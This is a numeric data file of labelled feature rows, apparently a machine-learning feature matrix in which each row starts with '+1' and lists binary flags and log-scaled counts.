+1,0,1,1,1,1,0,0,0,0,0,6.98564,4.21951,16.1194,4.2485,0,6.15789,0,0.0746269,0,0.0972222,4.7179,0,0,0,0,0,0,2.99573,1.09861,0,0,1.79176,1.38629,0.693147,1,1.09861,1.09861,0.693147,0,0,0,0,0,0,0,0,0,0,0.693147,0.693147,0,0,0,1,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,6.24804,2.99573,27.1579,4.18965,0,5.90581,0.0423319,0.157895,0,0.143266,3.21795,0,0,1.09861,1.09861,0,0,3.04452,0,0,0,1.60944,1.09861,0.693147,1,0.693147,1.09861,0,0.693147,0,0,0,0,0,0.693147,0.693147,0,0,0,0,0,0.693147,0,1,0,0,0 +1,0,1,1,0,0,0,0,0,1,1,8.16394,4.77068,30.0085,4.34381,0.341657,5.89843,0.0426637,0.153846,0,0.0404443,0.213675,0.693147,0.693147,0,0,0.693147,1.09861,7.21535,0,1.09861,0.693147,0,0,0.693147,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0.693147,0,0,0,1.09861,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,1,0,5.77144,1.94591,53.3333,4.39445,0.193649,6.45846,0,0,0,0.04375,0,0,0,0,0,0,1.09861,5.67929,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,0,0,7.54274,4.02535,34.2909,4.40672,0,5.33167,0.037027,0.218182,0,0.143378,2.9398,0,0,0,0,0,0,3.49651,1.60944,0,0,2.07944,1.09861,0.693147,1,0.693147,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,1,1,0,0,0,0,0,5.89164,2.56495,30.0833,4.59512,0,5.07089,0,0.0833333,0,0.0277008,0.166667,0,0,0,0,0,0,3.63759,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0.693147,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,1,0,1,5.35186,2.07944,30,4.18965,0,5.13806,0,0,0,0.0952381,0,0,0,1.09861,0,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1.38629,0,1.09861,1.09861,0,0.693147,0,0,0,0,0,0,0,0,1 +1,1,1,1,0,0,1,0,0,0,1,10.0656,6.77422,26.9096,5.1358,0,5.14906,0.0561146,0.169336,0,0.0920532,0.580092,2.70805,0.693147,0,0,1.94591,0,4.45435,1.79176,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,1,1,0,0,0,0,0,7.68891,4.44265,25.9881,4.35671,0,4.8695,0.0349135,0.22619,0,0.0316079,0,0,0,0,0,0,0,4.06044,1.60944,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0.693147,0,0,0,0,1,0,0 +1,0,0,1,0,0,0,0,0,1,0,8.01566,4.76217,26.0948,4.92725,0.114528,6.30019,0.00971974,0.0775862,0,0.152256,3.71457,0,0,0,0,0,1.09861,8.28125,1.09861,1.60944,0.693147,1.60944,1.94591,0.693147,1,1.09861,1.09861,1.09861,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,0,0,0,0,0,5.97635,2.70805,28.0714,4.38203,0,5.13449,0.0614994,0.214286,0,0.0585242,0.357143,0,1.09861,0,0,0,0,3.63759,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,1.09861,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,0,0,0,0,0,7.74197,3.21888,95.9167,5.1299,0,5.45084,0.0549911,0,0,0.0642919,0.666667,0,0.693147,0,0,0,0,4.14313,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,1.09861,0.693147,0,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,1,10.1274,6.99668,22.9112,4.55388,0,6.14009,0.0504633,0.0760073,0,0.0770614,2.19558,0,0,0,0,0,0,3.93183,3.63759,0,0,2.07944,1.60944,0.693147,1,0.693147,0.693147,1.09861,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,1,0,0,1,0,8.06306,4.76217,27.3621,5.34711,0.166841,5.77172,0.0347015,0.0775862,0,0.0677379,0.62931,0,0,1.09861,0,0,1.60944,7.66761,1.09861,0,1.38629,0,0,0,0,0,0,0,0,1.09861,0,0,0.693147,0,1.09861,0.693147,0,1.38629,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,1,1,0,0,0,1,7.72665,4.23411,33.3382,5.29832,0,5.27608,0.0418587,0.191176,0,0.0714601,0.75,1.60944,0,0,0,1.38629,0,4.41884,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0.693147,0,0,0,0,0,1,0,0,0 +1,1,1,0,0,0,1,0,0,1,0,9.03943,5.89164,23.3463,4.62497,0.194971,6.01494,0.0132962,0.152355,0.032748,0.0404604,0.138504,0,0,1.09861,0,0,0.693147,8.03433,0,1.09861,1.38629,0,0,0,0,0,0,0,0,1.09861,0,0,1.38629,0,0.693147,1.09861,0,1.09861,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,1,0,1,9.3579,6.07304,26.7644,5.01728,0,5.26584,0.00922896,0.0531178,0,0.08068,0.491917,2.3979,0.693147,0.693147,0,1.09861,0,4.29046,3.43399,0,0,0,0,0,0,0,0,0,0,0,0.693147,0.693147,1.09861,1.09861,1.09861,1.09861,0.693147,1.09861,0,0.693147,0,0,1,0,0,0,0 +1,1,1,1,1,0,1,0,0,0,0,6.1717,2.77259,31.8667,4.20469,0,4.62882,0.258614,0.0666667,0,0.0376569,0.333333,0,0,0,0,0,0,2.94444,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,0,0,8.3464,4.82028,34.2602,4.54329,0,5.03345,0.0728138,0.0243902,0,0.0581395,0.471545,0.693147,0,0,0,0.693147,0,3.95124,1.60944,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,1.38629,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,1,0,7.68891,4.44265,25.9881,4.35671,0.227297,5.70024,0.00637619,0.22619,0,0.100826,4.78261,0,0,0,0,0,1.38629,7.53903,1.60944,1.79176,0.693147,2.07944,0.693147,1.09861,1,0.693147,1.09861,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,1,1,0,0,0,1,0,0,0,1,8.85209,5.63121,25.1367,5.31321,0,5.45035,0.0320381,0.169065,0,0.0591013,0.374101,0.693147,0.693147,1.09861,0,0.693147,0,3.68888,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1.38629,0.693147,0,1.38629,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,0,0,5.60947,2.63906,20.9231,4.2485,0,5.8639,0,0.307692,0,0.103111,3.18243,0,0,0,0,0,0,2.70805,0,0,0,1.60944,0.693147,1.09861,1,0.693147,0.693147,1.09861,0,0,1.38629,0,0,0,0,0,0,0.693147,0,0,0,0,0,1,0,0,0 +1,1,1,1,0,0,1,0,0,0,1,5.32301,2.19722,25.5,4.17439,0,5.65302,0,0.125,0,0.122871,2.93749,0,0,0,0,0,0,2.77259,0,0,0,1.60944,1.94591,1.09861,1,0.693147,1.09861,0.693147,0,0,0,1.09861,0,0,0,0,0,0.693147,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,0,0,0,0,1,8.591,5.26269,28.0312,4.43082,0,5.04325,0.0757463,0.0729167,0,0.0395764,0.317708,1.09861,0,0,0,1.09861,0,4.06044,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,1,0,0,0,0 +1,0,1,1,1,1,0,0,0,0,1,11.0598,7.54327,33.6847,5.51343,0,4.65229,0.0401868,0.132485,0,0.0618284,0.505034,2.83321,0,0,0,1.94591,0,5.01064,4.02535,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0.693147,0,0,1,0,0,0,0 +1,0,1,1,1,1,1,0,0,1,1,10.0899,6.42972,38.9289,4.96284,0,5.13265,0.127985,0.0904685,0.000746981,0.0696767,0.562197,2.56495,0,0,0,1.60944,1.60944,4.96284,3.43399,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1.09861,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,1,0,7.05704,3.52636,35.1515,5.35659,0.123916,5.56475,0.0141394,0.333333,0,0.0258621,0,0.693147,0.693147,0.693147,1.09861,0.693147,0.693147,5.51764,0.693147,1.60944,0.693147,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,1.09861,0.693147,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,1,0,0,1,0,5.35186,2.07944,30,4.18965,0.396667,5.78012,0,0,0,0.0952381,0,0,0,1.09861,0,0,1.60944,7.82968,0,1.79176,1.38629,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0.693147,0.693147,0,0.693147,0,0,0,0,0,0,0,0,1 +1,0,1,1,1,0,1,0,0,0,1,8.38183,4.99043,29.9041,4.69135,0,5.30519,0.0648425,0.116438,0,0.0547412,0.438356,2.07944,0,0,0,1.60944,0.693147,4.64439,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2.30259,0,0,0,1.09861,1.09861,0,0.693147,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,1,11.5053,7.83992,39.0843,5.90808,0.000393856,4.91435,0.0374959,0.116187,6.04625e-05,0.068625,0.404884,3.3673,1.60944,1.09861,3.13549,2.63906,0.693147,5.32788,4.15888,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0.693147,1.09861,0.693147,0,0,1.09861,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,1,0,0,9.31578,5.84354,32.2994,4.83628,0,4.82903,0.0294173,0.104651,0,0.0740707,0.607558,0,0,1.09861,1.09861,0,0,4.26268,1.79176,0,0,0,0,0,0,0,0,0,1.09861,0.693147,1.09861,0,0,0,1.09861,1.09861,0.693147,1.09861,0,0,0,1.38629,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,0,0,7.30787,3.89182,31.0625,4.91265,0,6.15557,0.0147557,0.1875,0,0.0894271,3.22016,1.09861,0,1.09861,1.09861,0.693147,0,3.91202,0,0,0,1.60944,1.79176,1.09861,1,0.693147,0.693147,0.693147,0.693147,0,0,0,0,0,1.09861,0.693147,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,0,0,0,1,0,5.34233,2.07944,29.7143,4.17439,0.399264,6.2361,0,0,0,0.0961538,0,0,0,0,0,0,1.09861,7.81986,0,1.09861,0.693147,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +1,1,1,1,1,0,1,0,0,0,0,7.38461,4.49981,18.0899,4.85981,0,5.34533,0.0435886,0.179775,0,0.0478261,0.393258,0,0,0,0,0,0,4.18965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0.693147,0.693147,0,0.693147,1,0,0,0,0 +1,0,1,1,0,0,1,0,1,0,0,5.62402,2.56495,23,4.02535,0,4.88108,0,0.166667,0,0.130435,0.833333,0,0,0,0,0,0,3.29584,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0.693147,0,0,0.693147,1.09861,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,1,0,0,1,0,6.75344,3.21888,35.6667,4.80402,0.300839,6.55204,0,0.166667,0,0.0771028,0.916667,0,0,1.09861,1.09861,0,1.09861,6.76912,0,1.09861,0.693147,0,0,0,0,0,0.693147,0,0.693147,0,0,0,0,0,1.38629,1.09861,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,0,0,0,0,0,7.50329,4.09434,30.7288,4.35671,0,5.75694,0.129994,0.254237,0,0.133329,3.26287,0,0,0,0,0,0,3.95124,0,0,0,1.38629,1.60944,1.09861,1,1.09861,0.693147,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,0,0,0,0,1,10.527,7.01481,33.5495,4.63473,0,4.49018,0.02338,0.163669,0,0.0470421,0.00179856,2.19722,0.693147,0.693147,0,1.09861,0,4.36945,3.52636,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,1,0,0 +1,1,1,1,1,0,1,0,1,0,0,10.3249,6.64118,39.8458,4.68213,0,4.49314,0.0118763,0.130719,0,0.0268355,0.0183007,1.38629,1.09861,0,0,1.09861,0.693147,4.62497,3.46574,2.07944,0,0,0,0,0,0,0,0,0,0,1.38629,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,1,0,0 +1,0,1,0,0,0,0,0,0,1,0,5.4848,2.19722,30,4.23411,0.393059,5.71163,0.0692658,0,0,0.0458333,0.125,0,0,0,0,0,1.60944,7.19981,0,0.693147,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,1,1,1,0,0,1,0,1,1,0,7.09838,3.8712,25.7234,4.41884,0.0535367,5.64526,0.0312269,0.170213,0,0.0578991,0.319149,0.693147,0,0.693147,0,0.693147,0.693147,6.73777,1.09861,1.38629,0,0,0,0,0,0,0,0,0,0.693147,1.38629,0,0,0,0,0,0.693147,1.09861,0,0,0,0,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,1,0,8.03139,4.81218,25.2049,4.36945,0.213543,6.05272,0.0267583,0.139344,0,0.0669919,0.45082,0,0,0.693147,0,0,0.693147,5.79147,1.38629,1.09861,1.09861,0,0,0,0,0,0,0,0,0.693147,0,0,0.693147,0,1.09861,1.09861,0,0.693147,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,1,0,0,6.32794,3.04452,27.95,4.23411,0,5.29405,0,0.15,0,0.107335,0.25,0,0,1.09861,1.09861,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,1.09861,0,1.38629,0,0,0,1.38629,1.09861,0,0.693147,0,0,0,0,1,0,0,0,0 +1,1,1,1,1,0,1,0,0,0,0,7.30653,4.00733,27.5741,4.47734,0,4.55261,0.0145532,0.222222,0,0.051041,0,0,0,0,0,0,1.09861,3.80666,1.60944,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,1,1,1,1,0,1,0,0,0,0,8.77153,5.48894,26.751,4.38203,0,5.14052,0.0421989,0.103734,0,0.0679386,0.572614,0.693147,0,1.09861,1.09861,0.693147,0,3.71357,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,1.38629,0.693147,0,0,0,0,0,1.38629,1,0,0,0,0 +1,1,1,0,1,0,1,0,0,0,0,7.80425,4.38203,31.0127,4.56435,0,4.71615,0.0198798,0.113924,0,0.0640816,0.56962,0,1.09861,0,0,0,0,3.97029,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,0,1.09861,1.09861,0,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,1,10.1274,6.99668,22.9112,4.55388,0,5.14468,0.0185624,0.0760073,0,0.0770614,0.57967,0,0,0,0,0,0.693147,3.93183,3.63759,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,0,0,0,1,0,8.74624,5.33754,30.3671,4.47734,0.364417,6.17494,0.00684637,0.130435,0.00381801,0.0453388,0,0,0,0,0,0,1.60944,7.13871,2.19722,0.693147,1.38629,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,0,1,1,0,0,0,0,0,0,0,10.8482,7.51371,28.0775,4.56435,0,5.35089,0.100355,0.187773,0,0.0896894,3.31214,0,0,0,0,0,0,4.36945,4.63473,0,0,2.19722,0.693147,0.693147,1,0.693147,0.693147,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,0,0,0,1,0,10.3249,6.64118,39.8458,4.68213,0.314775,6.41778,0.0274423,0.130719,0,0.0268355,0.0183007,1.38629,1.09861,0,0,1.09861,1.60944,7.02981,3.46574,1.79176,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,0,1,1,0,0,0,0,1,1,1,9.30246,6.07304,25.321,5.0626,0.270215,6.07557,0.0213944,0.0554273,0,0.0789858,0.484988,2.56495,0.693147,0,0,1.09861,1.60944,6.55786,3.49651,1.38629,1.38629,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0.693147,1.09861,0,0,0,0,1,0,0,0,0 +1,0,1,1,1,1,0,0,0,0,1,9.62767,5.91889,40.9111,4.47734,0,4.39591,0.0369655,0.102426,0,0.0268151,0.00269542,1.09861,0.693147,0,0,1.09861,0,3.93183,2.94444,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0.693147,0.693147,0,0,0,0.693147,0.693147,0,0,0,0,1,0,0 +1,1,1,1,1,0,1,0,0,0,0,8.27944,4.7362,34.8761,4.45435,0,4.69495,0.0136199,0.132743,0,0.0687643,0.0530973,0,0,0,0,0,0,4.21951,1.94591,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0.693147,1.09861,0,0,0,0,1,0,0 +1,0,1,1,0,0,0,0,0,0,1,8.52198,4.99043,34.4041,4.60517,0,5.20121,0.232654,0.109589,0,0.0437985,0.417808,1.38629,1.09861,0,0,1.09861,0,4.36945,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0.693147,1.09861,0,0,0.693147,0,0,0,0,1,0,0,0,0 +1,0,1,1,1,0,0,0,1,0,0,9.52559,6.01859,33.4268,4.63473,0,5.12742,0.0295482,0.165854,0,0.00722364,0.00487805,0,0,0,0,0,0,4.36945,2.77259,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,1.09861,0.693147,0.693147,0,0,0,0,1,0,0 +1,1,1,1,0,0,1,0,0,0,0,6.10702,2.83321,28,4.39445,0,4.90757,0.0254289,0.375,0,0.0535714,0,0,0,0.693147,0.693147,0,0,3.68888,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0.693147,1.09861,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,0,1,0,1,0,0,0,0,7.92407,4.81218,22.6393,4.60517,0,4.85786,0.0945973,0.122951,0,0.0492397,0.286885,0,0,0,0,0,0,3.89182,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,1.60944,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,1,0,0,0,0,7.30988,3.89182,31.125,4.91265,0,5.56409,0.035766,0.1875,0,0.109548,2.04536,1.09861,0,0.693147,0.693147,0.693147,0,3.91202,0,0,0,1.94591,0.693147,0.693147,1,1.09861,1.09861,0.693147,1.09861,0,0,0,0,0,1.09861,0.693147,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,0,0,8.64857,5.2575,29.8482,4.76217,0,5.05318,0.0207925,0.125654,0,0.039993,0.39267,0,0,0,0,0,0,4.61512,1.79176,0,0,0,0,0,0,0,0,0,0,0.693147,1.09861,0,0,0,0.693147,0,0,1.38629,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,0,0,0,1,0,6.39526,3.17805,26,4.11087,0.0560202,6.48783,0,0.130435,0,0.110368,0.217391,0,0,0,0,0,1.38629,8.40021,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,0,1,0,0,0,0,1,0,1,8.91234,5.37528,34.5209,4.91998,0,6.23191,0.098565,0.0837209,0,0.0851844,3.36533,0,0,0,0,0,0,3.49651,0,0,0,0.693147,1.79176,1.09861,1,1.09861,0.693147,0.693147,0,2.07944,1.09861,0,0,0,0,0,0,1.09861,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,0,0,0,0,0,7.88608,4.49981,29.8764,4.41884,0,4.88513,0.135024,0.101124,0,0.0718315,0.797753,0,0.693147,0,0,0,0,3.73767,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,0,1.09861,1.09861,0,0,0,0,1.09861,0,0,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,0,0,6.82655,3.3673,32.8929,4.49981,0,5.5261,0.0350595,0.178571,0,0.0936445,4.25205,0,0,0,0,0,0,3.7612,0.693147,0,0,1.38629,0.693147,1.09861,1,1.09861,1.09861,1.09861,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,1,0,1,0,0,6.36475,3.04452,29,4.23411,0,5.30372,0,0.15,0,0.103448,0.25,0,0,0.693147,0.693147,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,0.693147,0,1.38629,0,0,0,1.09861,0.693147,0,0.693147,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,0,0,0,0,0,7.16858,4.12713,21.2623,4.34381,0,5.21839,0.0298191,0.0819672,0,0.0663069,0.360656,0,0.693147,0,0,0,0,3.13549,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,1.60944,0,0.693147,0.693147,0,0,0,0,0,0,0.693147,1,0,0,0,0 +1,1,1,1,1,0,1,0,0,1,1,7.35052,4.18965,23.9385,4.49981,0.385018,5.5724,0.0485589,0.169231,0.00128535,0.0899743,0.584615,0,0,0,0,0,1.38629,6.18056,1.38629,1.60944,1.09861,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,1.09861,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,5.34711,2.19722,26.125,4.23411,0,5.05316,0.0435032,0,0,0.0526316,0.125,0,0,0.693147,1.09861,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,1.38629,0.693147,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,1,9.30246,6.07304,25.321,5.0626,0,6.22351,0.0212072,0.0554273,0,0.138228,4.08961,2.56495,0.693147,0.693147,0.693147,1.09861,0,4.29046,3.49651,0,0,2.07944,0.693147,0.693147,1,1.09861,0.693147,0.693147,1.09861,0,0,0,0,0,0.693147,0.693147,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,0,0,0,0,0,7.01392,3.8712,23.6383,4.46591,0,5.97373,0.00583866,0.191489,0,0.130513,3.55029,0,0,0,0,0,0,3.3673,0.693147,0,0,1.38629,1.38629,0.693147,1,0.693147,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1,0,0,0 +1,0,1,1,0,0,1,0,1,0,0,5.7462,2.56495,26,4.30407,0,4.94114,0,0.166667,0,0.115385,0.833333,0,0,0,0,0,0,3.80666,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0,1.09861,0,0,0,0.693147,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,1,0,0,1,1,8.96891,5.45959,33.5641,4.90527,0,6.35317,0.0394106,0.183761,0,0.152705,4.16747,0.693147,0.693147,0,0,0.693147,0.693147,4.51086,1.94591,0,0,1.94591,1.79176,1.09861,1,1.09861,0.693147,1.09861,0,0,0,0,0,0,2.19722,0,0,0,0,0,0,0,0,1,0,0,0 +1,1,1,0,0,0,1,0,0,1,0,6.30079,3.21888,22.6667,4.29046,0,5.13234,0.139799,0.0416667,0,0.0533088,0.333333,0,0,0,0,0,0.693147,3.3673,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,0,1,6.74052,3.3673,30.1786,4.46591,0,4.99971,0.0364864,0.0357143,0,0.0828402,1.14286,0,0,0,0,0,0,3.80666,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0.693147,1.09861,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,0,0,0,0,0,7.78945,4.21951,36.0299,4.45435,0,4.58958,0.0101838,0.149254,0,0.04971,0,0,1.09861,0,0,0,0,3.97029,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,1.09861,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,0,1,0,0,0,1,0,0,1,0,8.77153,5.48894,26.751,4.38203,0.180314,6.00492,0.0409259,0.103734,0,0.0679386,0.572614,0.693147,0,0,0,0.693147,1.09861,6.79599,0,1.09861,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0.693147,0,0,0,0,0,0,1.38629,1,0,0,0,0 +1,1,1,0,1,0,1,0,0,0,0,7.80425,4.38203,31.0127,4.56435,0,4.71615,0.0167583,0.113924,0,0.0640816,0.56962,0,0,0.693147,0,0,0.693147,3.97029,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,1.38629,0.693147,0,1.38629,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,1,10.5634,7.10579,31.7677,5.47227,0,5.17199,0.0418118,0.117406,0,0.0607087,0.418719,2.83321,0,0,0,2.30259,0,4.62497,4.09434,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,1.09861,0.693147,0,0,1.38629,0,0,1.79176,0.693147,1,0,0,0,0 +1,0,1,1,0,1,1,0,0,0,0,9.52799,6.1717,28.7406,4.77068,0,5.00817,0.00751124,0.0899582,0,0.0812345,0.610879,1.09861,0,0,0,0.693147,1.09861,4.23411,2.30259,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +1,0,1,0,0,0,0,0,0,1,0,7.40489,3.91202,33.5306,4.33073,0.31334,6.17713,0.114934,0.183673,0,0.0139988,0.122449,0,0,0,0,0,1.09861,6.89322,0,1.79176,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,1,0,0,0,1,0,10.6192,7.25488,28.9335,5.24175,0.0626513,6.2058,0.0299683,0.146393,0.00515741,0.081712,0.508487,2.48491,0,0,0,1.38629,1.09861,7.9793,3.73767,1.60944,1.38629,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,1.09861,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,1,0,10.3061,6.83626,32.1667,5.57595,0.285418,6.42389,0.0693586,0.11828,0,0.0416179,0.268817,1.94591,0,1.09861,0,1.60944,0.693147,7.94053,3.29584,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,1.38629,1.09861,0,1.09861,0,0,0,2.19722,1,0,0,0,0 +1,0,0,1,0,0,0,0,0,1,1,7.42952,4.14313,27.1613,4.48864,0.302932,6.00476,0.013962,0.290323,0,0.0332542,0,0,0,0,0,0,1.09861,7.36447,1.09861,1.79176,0.693147,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,1,0,0 +1,0,1,1,0,0,1,0,0,0,1,5.91889,2.48491,33.7273,4.31749,0,4.87193,0.0824452,0.0909091,0,0.0107817,0.0909091,0,0,0.693147,0.693147,0,0,3.55535,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,1.38629,1.09861,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,1,0,1,0,1,0,1,10.1128,6.85118,26.1176,5.20949,0,5.5643,0.0151698,0.147246,0,0.143245,4.02971,3.43399,0,0,0,2.3979,1.09861,4.60517,3.43399,0,0,1.38629,1.60944,1.09861,1,1.09861,1.09861,0,0,0,0.693147,0,0,0,0,0,0.693147,1.09861,0.693147,1.09861,0,1.09861,0,1,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,6.10702,3.29584,17.2308,4.2485,0,5.09979,0,0.230769,0,0.0491071,0.153846,0,1.09861,0.693147,0,0,0,4.06044,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1.09861,0.693147,0.693147,1.09861,0,1.09861,0,0.693147,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,1,0,7.3072,4.12713,24.4262,4.85203,0.393701,5.71495,0.0570554,0.131148,0,0.0630872,0.590164,0,0,0,0,0,1.09861,7.60155,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,0,1,1,1,0,0,0,0,7.54908,4.26268,27.1143,4.20469,0,4.68516,0.0126108,0.0428571,0,0.0521602,0.442857,0,0,0,0,0,1.09861,3.61092,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,1,0,0,0,0,0,0,6.9256,3.49651,31.7812,4.43082,0,6.18711,0.206328,0.1875,0,0.117369,4.27892,0.693147,0.693147,0,0,0.693147,0,3.46574,0,0,0,0.693147,1.94591,1.09861,1,0.693147,1.09861,0,0,0,0,0,0,0,0,0,0,0,0.693147,0.693147,0,0,0,1,0,0,0 